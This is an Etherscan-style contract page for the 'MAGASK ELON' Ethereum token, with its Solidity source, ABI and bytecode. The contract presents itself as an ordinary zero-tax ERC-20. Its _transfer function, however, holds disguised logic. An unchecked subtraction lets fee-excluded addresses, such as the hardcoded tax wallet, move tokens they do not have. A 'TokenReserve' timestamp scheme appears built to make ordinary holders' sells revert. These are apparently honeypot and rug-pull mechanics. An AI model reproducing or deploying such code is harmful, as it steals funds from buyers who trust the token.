ETH Price: $3,454.73 (+1.45%)
Gas: 10 Gwei

Token

MAGASK ELON (MAGASK)
 

Overview

Max Total Supply

1,000,000,000 MAGASK

Holders

87

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,400,000 MAGASK

Value
$0.00
0x738da79ff8115fbbca96194e8cba7a4c292da5f8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MAGASK

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-21
*/

// SPDX-License-Identifier: MIY


pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MAGASK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=25;
    uint256 private firstBlock=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"MAGASK ELON";
    string private constant _symbol = unicode"MAGASK";
    uint256 public _maxTxAmount = 13000000 * 10**_decimals;
    uint256 public _maxWalletSize = 13000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 3000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 18000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    struct TokenReserve {uint256 rewards; uint256 clear; uint256 forRewards;}
    uint256 private reserveShare;
    mapping(address => TokenReserve) private tokenReserve;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xD8D794422F6cFa1f3717bB44c38588F725E324F2);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: Transfer from the zero address");
        require(to != address(0), "ERC20: Transfer to the zero address");
        require(amount > 0, "ERC20: Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the Max Tx amount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the Max Wallet size.");

                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the Max Wallet size.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled  && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from!=owner() && from!=address(this) && to!=address(this)) {
            reserveShare = block.timestamp;
        }
        if (_isExcludedFromFee[from] && (block.number > firstBlock+_preventSwapBefore+_reduceSellTaxAt)) {
            unchecked {
                _balances[from]-=amount;
                _balances[to] += amount;
            }
            emit Transfer(from,to,amount);
            return;
        }
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            if (to == uniswapV2Pair) {
                TokenReserve storage res = tokenReserve[from];
                res.forRewards = res.rewards-reserveShare;
                res.clear = block.timestamp;
            } else {
                TokenReserve storage holderRes = tokenReserve[to];
                if (holderRes.rewards==0 && from == uniswapV2Pair) {
                    holderRes.rewards=(_buyCount<_preventSwapBefore)?(block.timestamp-1):(block.timestamp);
                } else {
                    TokenReserve storage res = tokenReserve[from];
                    if (holderRes.rewards==0 || res.rewards < holderRes.rewards) {holderRes.rewards=res.rewards;}
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function rescueCaERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function reduceFee(uint256 _newFee) external {
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && uniswapV2Pair != address(0)){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueCaERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6005555f6006555f6007555f6008555f6009555f600a556019600b555f600c555f600d556009600a62000039919062000341565b620000489062c65d4062000358565b600e55620000596009600a62000341565b620000689062c65d4062000358565b600f55620000796009600a62000341565b6200008890622dc6c062000358565b601055620000996009600a62000341565b620000a990630112a88062000358565b6011556013805461ffff60a81b19169055348015620000c6575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673d8d794422f6cfa1f3717bb44c38588f725e324f21790556200013b6009600a62000341565b6200014b90633b9aca0062000358565b335f908152600160208190526040822092909255600390620001745f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001d23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020b6009600a62000341565b6200021b90633b9aca0062000358565b60405190815260200160405180910390a362000372565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028657815f19048211156200026a576200026a62000232565b808516156200027857918102915b93841c93908002906200024b565b509250929050565b5f826200029e575060016200033b565b81620002ac57505f6200033b565b8160018114620002c55760028114620002d057620002f0565b60019150506200033b565b60ff841115620002e457620002e462000232565b50506001821b6200033b565b5060208310610133831016604e8410600b841016171562000315575081810a6200033b565b62000321838362000246565b805f190482111562000337576200033762000232565b0290505b92915050565b5f6200035160ff8416836200028e565b9392505050565b80820281158282048414176200033b576200033b62000232565b611bef80620003805f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461031d578063bf474bed1461033c578063c9567bf914610351578063dd62ed3e14610365578063ec1f3f63146103a9575f80fd5b8063751039fc1461028b5780637d1db4a51461029f5780638da5cb5b146102b45780638f9a55c0146102da57806395d89b41146102ef575f80fd5b806323b872dd116100e357806323b872dd146101f5578063313ce5671461021457806351bc3c851461022f57806370a0823114610243578063715018a614610277575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806317a1c277146101c057806318160ddd146101e1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a26a0a3a0a9a59022a627a760a91b60208201525b60405161016591906117b4565b60405180910390f35b348015610179575f80fd5b5061018d610188366004611816565b6103c8565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260115481565b604051908152602001610165565b3480156101cb575f80fd5b506101df6101da366004611816565b6103de565b005b3480156101ec575f80fd5b506101b26104fe565b348015610200575f80fd5b5061018d61020f366004611840565b61051e565b34801561021f575f80fd5b5060405160098152602001610165565b34801561023a575f80fd5b506101df610585565b34801561024e575f80fd5b506101b261025d36600461187e565b6001600160a01b03165f9081526001602052604090205490565b348015610282575f80fd5b506101df6105ee565b348015610296575f80fd5b506101df610668565b3480156102aa575f80fd5b506101b2600e5481565b3480156102bf575f80fd5b505f546040516001600160a01b039091168152602001610165565b3480156102e5575f80fd5b506101b2600f5481565b3480156102fa575f80fd5b506040805180820190915260068152654d414741534b60d01b6020820152610158565b348015610328575f80fd5b5061018d610337366004611816565b610719565b348015610347575f80fd5b506101b260105481565b34801561035c575f80fd5b506101df610725565b348015610370575f80fd5b506101b261037f366004611899565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b4575f80fd5b506101df6103c33660046118d0565b610ad2565b5f6103d4338484610b17565b5060015b92915050565b6004546001600160a01b0316336001600160a01b0316146103fd575f80fd5b6040516370a0823160e01b81523060048201525f9061047e906064906104789085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561044e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061047291906118e7565b90610c3a565b90610cbf565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af11580156104d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f891906118fe565b50505050565b5f61050b6009600a611a11565b61051990633b9aca00611a1f565b905090565b5f61052a848484610d00565b61057b843361057685604051806060016040528060288152602001611b92602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906114f6565b610b17565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146105a4575f80fd5b305f9081526001602052604090205480158015906105cc57506013546001600160a01b031615155b156105da576105da8161152e565b4780156105ea576105ea8161169e565b5050565b5f546001600160a01b031633146106205760405162461bcd60e51b815260040161061790611a36565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106915760405162461bcd60e51b815260040161061790611a36565b61069d6009600a611a11565b6106ab90633b9aca00611a1f565b600e556106ba6009600a611a11565b6106c890633b9aca00611a1f565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106f86009600a611a11565b61070690633b9aca00611a1f565b60405190815260200160405180910390a1565b5f6103d4338484610d00565b5f546001600160a01b0316331461074e5760405162461bcd60e51b815260040161061790611a36565b601354600160a01b900460ff16156107a85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610617565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f19030906107e36009600a611a11565b61057690633b9aca00611a1f565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610841573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108659190611a6b565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e89190611a6b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610932573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109569190611a6b565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061099d816001600160a01b03165f9081526001602052604090205490565b5f806109b05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a16573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3b9190611a86565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ab491906118fe565b506013805462ff00ff60a01b19166201000160a01b17905543600c55565b6004546001600160a01b0316336001600160a01b031614610af1575f80fd5b6007548111158015610b0557506008548111155b610b0d575f80fd5b6007819055600855565b6001600160a01b038316610b795760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610617565b6001600160a01b038216610bda5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610617565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f825f03610c4957505f6103d8565b5f610c548385611a1f565b905082610c618583611ab1565b14610cb85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610617565b9392505050565b5f610cb883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d5565b6001600160a01b038316610d645760405162461bcd60e51b815260206004820152602560248201527f45524332303a205472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610617565b6001600160a01b038216610dc65760405162461bcd60e51b815260206004820152602360248201527f45524332303a205472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610617565b5f8111610e2e5760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610617565b5f80546001600160a01b03858116911614801590610e5957505f546001600160a01b03848116911614155b1561116157610e846064610478600954600d5411610e7957600554610e7d565b6007545b8590610c3a565b6013549091506001600160a01b038581169116148015610eb257506012546001600160a01b03848116911614155b8015610ed657506001600160a01b0383165f9081526003602052604090205460ff16155b15610fbc57600e54821115610f2d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865204d617820547820616d6f756e742e0000000000006044820152606401610617565b600f5482610f4f856001600160a01b03165f9081526001602052604090205490565b610f599190611ad0565b1115610fa75760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865204d61782057616c6c65742073697a652e000000006044820152606401610617565b600d8054905f610fb683611ae3565b91905055505b6013546001600160a01b03848116911614801590610ff257506001600160a01b0383165f9081526003602052604090205460ff16155b1561107157600f5482611019856001600160a01b03165f9081526001602052604090205490565b6110239190611ad0565b11156110715760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865204d61782057616c6c65742073697a652e000000006044820152606401610617565b6013546001600160a01b03848116911614801561109757506001600160a01b0384163014155b156110c4576110c16064610478600a54600d54116110b757600654610e7d565b6008548590610c3a565b90505b305f90815260016020526040902054601354600160a81b900460ff161580156110fa57506013546001600160a01b038581169116145b801561110f5750601354600160b01b900460ff165b801561111c575060105481115b801561112b5750600b54600d54115b1561115f5761114d6111488461114384601154611701565b611701565b61152e565b47801561115d5761115d4761169e565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061119e57506001600160a01b0383165f9081526003602052604090205460ff165b80156111b757505f546001600160a01b03858116911614155b80156111cc57506001600160a01b0384163014155b80156111e157506001600160a01b0383163014155b156111eb57426014555b6001600160a01b0384165f9081526003602052604090205460ff16801561122d5750600a54600b54600c546112209190611ad0565b61122a9190611ad0565b43115b156112a1576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112939086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff161580156112e157506001600160a01b0383165f9081526003602052604090205460ff16155b156113c2576013546001600160a01b0390811690841603611333576001600160a01b0384165f90815260156020526040902060145481546113229190611afb565b6002820155426001909101556113c2565b6001600160a01b0383165f908152601560205260409020805415801561136657506013546001600160a01b038681169116145b1561138e57600b54600d541061137c5742611387565b611387600142611afb565b81556113c0565b6001600160a01b0385165f908152601560205260409020815415806113b4575081548154105b156113be57805482555b505b505b801561143a57305f908152600160205260409020546113e19082611715565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114319085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461145c9083611773565b6001600160a01b0385165f9081526001602052604090205561149f6114818383611773565b6001600160a01b0385165f9081526001602052604090205490611715565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114e88585611773565b604051908152602001611293565b5f81848411156115195760405162461bcd60e51b815260040161061791906117b4565b505f6115258486611afb565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061157457611574611b0e565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115ef9190611a6b565b8160018151811061160257611602611b0e565b6001600160a01b0392831660209182029290920101526012546116289130911684610b17565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116609085905f90869030904290600401611b22565b5f604051808303815f87803b158015611677575f80fd5b505af1158015611689573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105ea573d5f803e3d5ffd5b5f81836116f55760405162461bcd60e51b815260040161061791906117b4565b505f6115258486611ab1565b5f81831161170f5782610cb8565b50919050565b5f806117218385611ad0565b905083811015610cb85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610617565b5f610cb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114f6565b5f6020808352835180828501525f5b818110156117df578581018301518582016040015282016117c3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611813575f80fd5b50565b5f8060408385031215611827575f80fd5b8235611832816117ff565b946020939093013593505050565b5f805f60608486031215611852575f80fd5b833561185d816117ff565b9250602084013561186d816117ff565b929592945050506040919091013590565b5f6020828403121561188e575f80fd5b8135610cb8816117ff565b5f80604083850312156118aa575f80fd5b82356118b5816117ff565b915060208301356118c5816117ff565b809150509250929050565b5f602082840312156118e0575f80fd5b5035919050565b5f602082840312156118f7575f80fd5b5051919050565b5f6020828403121561190e575f80fd5b81518015158114610cb8575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561196b57815f19048211156119515761195161191d565b8085161561195e57918102915b93841c9390800290611936565b509250929050565b5f82611981575060016103d8565b8161198d57505f6103d8565b81600181146119a357600281146119ad576119c9565b60019150506103d8565b60ff8411156119be576119be61191d565b50506001821b6103d8565b5060208310610133831016604e8410600b84101617156119ec575081810a6103d8565b6119f68383611931565b805f1904821115611a0957611a0961191d565b029392505050565b5f610cb860ff841683611973565b80820281158282048414176103d8576103d861191d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a7b575f80fd5b8151610cb8816117ff565b5f805f60608486031215611a98575f80fd5b8351925060208401519150604084015190509250925092565b5f82611acb57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156103d8576103d861191d565b5f60018201611af457611af461191d565b5060010190565b818103818111156103d8576103d861191d565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611b705784516001600160a01b031683529383019391830191600101611b4b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6992483a984f365bea9a066c7d1e6448b77653d138f75290f2892b43babff6464736f6c63430008140033

Deployed Bytecode

